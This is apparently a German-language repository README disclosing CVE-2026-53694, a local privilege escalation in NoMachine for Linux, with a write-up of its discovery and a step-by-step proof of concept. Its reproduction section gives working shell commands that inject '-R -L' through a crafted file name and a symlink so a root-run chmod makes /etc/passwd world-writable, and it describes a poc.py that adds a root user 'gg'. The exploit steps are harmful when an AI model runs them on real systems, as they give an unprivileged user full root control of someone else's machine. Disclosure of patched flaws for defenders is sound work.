
Proof-of-Concept-Exploit und Dokumentation für CVE-2026-53694, eine lokale Privilegieneskalation in NoMachine für Linux durch Argumentinjektion in nxchmod.sh, die Root-Zugriff durch Symlink-Manipulation ermöglicht.
Dieses Repository enthält den Write-up und den Proof of Concept (PoC) für CVE-2026-53694, eine Schwachstelle zur lokalen Rechteausweitung (Local Privilege Escalation, LPE) in NoMachine für Linux.
Aufgrund der unsachgemäßen Neutralisierung von Argumenttrennzeichen im Skript nxchmod.sh kann ein lokaler unprivilegierter Benutzer Argumente in einen als root ausgeführten Systembefehl einschleusen. Durch die Kombination dieser Argument-Injection mit einem symbolischen Link kann ein Angreifer kritische Systemdateien (wie /etc/passwd) überschreiben und seine Rechte auf root ausweiten.
Diese Schwachstelle wurde vom Hersteller vollständig gepatcht.
Diese Schwachstelle zu finden war ein Prozess aus Ausprobieren, Irrtümern und einer späten nächtlichen Erkenntnis. Hier ist, wie sich die Entdeckung entfaltete:
/usr/NX/scripts/restricted/nxchmod.sh regelmäßig vom root-Benutzer ausgeführt wurde, um Berechtigungen in bestimmten Verzeichnissen zu verwalten.chmod a+rw auf Dateien anwendete. Ich dachte: Wenn ich das Ziel kontrolliere, kann ich dann mit einem symbolischen Link /etc/passwd beschreibbar machen? Ich testete einen standardmäßigen symbolischen Link (ln -s /etc/passwd /tmp/asdf), aber es schlug fehl. Das Linux-Sticky-Bit auf Verzeichnissen wie /tmp verhindert, dass der root-Benutzer blindlings einem von einem anderen Benutzer erstellten symbolischen Link folgt.${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}. Das Skript nahm den wörtlichen Dateinamen und übergab ihn direkt an chmod.X1234 -R -L. Als das Skript lief, expandierte der chmod-Befehl dies in Argumente statt in einen einzelnen Dateipfad.-L (symbolischen Links folgen) und -R (rekursiv) über den Dateinamen in den chmod-Befehl einschleuste, zwang ich die chmod-Binärdatei selbst dazu, den von mir im Verzeichnis erstellten symbolischen Link aufzulösen und ihm zu folgen, wodurch der Sticky-Bit-Schutz vollständig umgangen wurde./etc/passwd beschreibbar gemacht wurde (a+rw), konnte ich einfach einen neuen root-Benutzer an die Datei anhängen und mich mit su in diesen einloggen.Die Schwachstelle rührt daher, wie NoMachine Berechtigungen für X11/Wayland-Sockets handhabt. Das Skript nxchmod.sh wird vom als root laufenden Daemon nxserver.bin gestartet.
Die anfällige Ausführung sieht so aus:
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
Wenn ein Angreifer eine Verzeichnisstruktur und eine Datei namens X1234 -R -L erstellt, wird der resultierende, von root ausgeführte Befehl zu:
/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L
Wenn ein symbolischer Link, der auf /etc/passwd zeigt, im Verzeichnis X1234 platziert wird, zwingen die eingeschleusten Argumente -R und -L chmod dazu, dem symbolischen Link rekursiv zu folgen und der Zieldatei globale Lese-/Schreibberechtigungen zu gewähren.
Damit dieser Exploit funktioniert, muss das Zielsystem die folgenden Bedingungen erfüllen:
Sie können diese Schwachstelle entweder manuell mit Shell-Befehlen oder automatisch mit dem bereitgestellten Python-Skript reproduzieren.
Navigieren Sie zu /tmp/.X11-unix/ und führen Sie die folgenden Befehle aus, um die bösartige Verzeichnisstruktur zu erstellen.
cd /tmp/.X11-unix/
# 1. Exploitation setup
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# Wait for nxchmod.sh to execute (can take up to 60 seconds).
# Verify the permissions of /etc/passwd have changed to -rw-rw-rw-
# You can now edit /etc/passwd to add a root user.
Sobald Sie die Schwachstelle verifiziert und die Rechte ausgeweitet haben, führen Sie die folgenden Bereinigungsbefehle aus, um die Systemstabilität wiederherzustellen und Artefakte zu entfernen:
# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
Ein vollständig automatisierter Exploit ist in poc.py enthalten. Dieses Skript überprüft die Wayland-Anforderungen, richtet den symbolischen Link ein, wartet auf den Ausführungszyklus von nxchmod.sh und fügt einen neuen root-Benutzer (gg) in /etc/passwd ein.
Um den Exploit auszuführen:
python3 poc.py
Diese Schwachstelle wurde von NoMachine behoben. Benutzer sollten auf die folgenden Versionen oder neuer aktualisieren: